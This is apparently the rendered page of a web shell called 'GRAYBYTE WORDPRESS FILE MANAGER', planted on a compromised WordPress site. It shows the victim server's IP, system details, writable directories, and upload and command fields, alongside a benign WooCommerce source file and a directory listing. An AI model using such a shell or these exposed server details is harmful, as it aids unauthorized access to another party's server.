GRAYBYTE WORDPRESS FILE MANAGER8313

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Blocks//TemplateOptions.php
<?php
declare( strict_types = 1 );

namespace Automattic\WooCommerce\Blocks;

use Automattic\WooCommerce\Blocks\Options;

/**
 * TemplateOptions class.
 *
 * @internal
 */
class TemplateOptions {

	/**
	 * Initialization method.
	 */
	public function init() {
		add_action( 'after_switch_theme', array( $this, 'check_should_use_blockified_product_grid_templates' ), 10, 2 );
	}

	/**
	 * Checks the old and current themes and determines if the "wc_blocks_use_blockified_product_grid_block_as_template"
	 * option need to be updated accordingly.
	 *
	 * @param string    $old_name Old theme name.
	 * @param \WP_Theme $old_theme Instance of the old theme.
	 * @return void
	 */
	public function check_should_use_blockified_product_grid_templates( $old_name, $old_theme ) {
		if ( ! $old_theme->is_block_theme() && wp_is_block_theme() ) {
			$option_name = Options::WC_BLOCK_USE_BLOCKIFIED_PRODUCT_GRID_BLOCK_AS_TEMPLATE;
			// We previously stored "yes" or "no" values. This will convert them to true or false.
			$option_value = wc_string_to_bool( get_option( $option_name ) );

			// We don't need to do anything if the option is already set to true.
			if ( ! $option_value ) {
				update_option( $option_name, true );
			}
		}
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
AI
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
AIContent
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Assets
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
BlockTypes
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Domain
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Images
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Integrations
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Patterns
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Payments
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Registry
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Shipping
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Templates
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
Utils
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
Assets.php
2.772 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
AssetsController.php
17.471 KB
April 01 2025 15:51:36
giriqfky / giriqfky
0644
BlockPatterns.php
8.517 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BlockTemplatesController.php
22.064 KB
November 14 2024 01:17:00
giriqfky / giriqfky
0644
BlockTemplatesRegistry.php
5.433 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BlockTypesController.php
21.774 KB
June 23 2025 15:50:22
giriqfky / giriqfky
0644
InboxNotifications.php
0.569 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Installer.php
4.082 KB
June 25 2024 21:17:40
giriqfky / giriqfky
0644
Library.php
1.061 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Options.php
0.328 KB
December 27 2023 00:45:02
giriqfky / giriqfky
0644
Package.php
2.717 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
QueryFilters.php
17.692 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
TemplateOptions.php
1.206 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF